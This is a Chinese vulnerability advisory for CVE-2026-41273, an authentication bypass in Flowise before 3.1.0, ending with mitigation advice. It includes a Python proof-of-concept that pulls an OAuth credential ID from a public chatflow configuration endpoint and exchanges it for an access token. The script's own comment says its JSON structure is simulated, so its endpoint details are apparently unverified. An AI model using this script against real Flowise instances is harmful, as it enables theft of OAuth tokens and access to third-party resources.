IPBUF安全漏洞报告
English
CVE-2026-41273 CVSS 8.2 高危

CVE-2026-41273 Flowise认证绕过漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41273
漏洞类型
认证绕过
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flowise

相关标签

认证绕过OAuthFlowise高危漏洞LLM

漏洞概述

Flowise是一款用于构建定制化大型语言模型流程的拖放式用户界面。在3.1.0版本之前,该产品存在一个严重的认证绕过漏洞。未经身份验证的攻击者能够利用此漏洞,通过访问公共聊天流的配置端点,获取内部工作流数据。这些数据中包含了OAuth凭据标识符,攻击者可利用这些标识符在无需认证的情况下刷新并获取有效的OAuth 2.0访问令牌,从而威胁系统机密性。

技术细节

该漏洞的核心在于Flowise对公共聊天流配置端点的访问控制存在缺陷。虽然部分聊天流设计为公开访问,但其底层的配置API错误地暴露了敏感的内部工作流数据。攻击者无需登录即可向特定的配置端点发送HTTP请求。服务器响应的JSON数据中包含了用于OAuth集成的凭据标识符。攻击者解析该响应提取ID,并利用Flowise处理OAuth流程时的逻辑漏洞,直接使用该ID向令牌端点发起请求。由于系统未能验证请求者对凭据ID的所有权,导致攻击者成功绕过身份验证,获取到有效的OAuth 2.0访问令牌,进而可能接管关联的用户权限或访问受保护的第三方资源。

攻击链分析

STEP 1
侦察
攻击者识别出目标Flowise实例上存在的公共聊天流ID。
STEP 2
利用
攻击者向公共聊天流的配置端点发送未授权请求,获取包含敏感信息的内部工作流数据。
STEP 3
窃取凭据
攻击者从返回的数据中解析并提取OAuth凭据标识符。
STEP 4
权限提升
攻击者使用窃取的凭据标识符向OAuth服务端点请求,绕过认证获取有效的访问令牌。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration target_url = "http://localhost:3000" public_chatflow_id = "public-uuid-here" # Step 1: Access the public chatflow configuration endpoint # This endpoint leaks internal workflow data including OAuth credential identifiers config_endpoint = f"{target_url}/api/v1/chatflows/{public_chatflow_id}" print(f"[*] Attempting to access configuration endpoint: {config_endpoint}") try: response = requests.get(config_endpoint) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved chatflow configuration.") # Step 2: Extract OAuth Credential ID from the response # Structure simulation: nodes -> data -> credentials -> id oauth_cred_id = None # Logic to traverse JSON and find the credential ID if 'nodes' in data: for node in data['nodes']: if 'data' in node and 'credentials' in node['data']: oauth_cred_id = node['data']['credentials'].get('id') break if oauth_cred_id: print(f"[+] Found OAuth Credential ID: {oauth_cred_id}") # Step 3: Use Credential ID to obtain/refresh OAuth 2.0 Access Token # Exploiting the authentication bypass to get a token token_endpoint = f"{target_url}/api/v1/oauth/token" payload = { "credentialId": oauth_cred_id, "grantType": "refresh_token" } token_resp = requests.post(token_endpoint, json=payload) if token_resp.status_code == 200: token_data = token_resp.json() print(f"[!] Exploit Successful!") print(f"[+] Access Token: {token_data.get('access_token')}") else: print("[-] Failed to obtain token using the credential ID.") else: print("[-] No OAuth credentials found in the configuration.") else: print(f"[-] Failed to access endpoint. Status code: {response.status_code}") except Exception as e: print(f"Error during exploitation: {e}")

影响范围

Flowise < 3.1.0

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面实施严格的访问控制策略,利用防火墙或WAF规则阻断对Flowise配置API的未授权外部访问。同时,检查并撤销所有可能受影响的OAuth 2.0访问令牌,强制用户重新授权,以防止攻击者利用已泄露的凭据维持访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表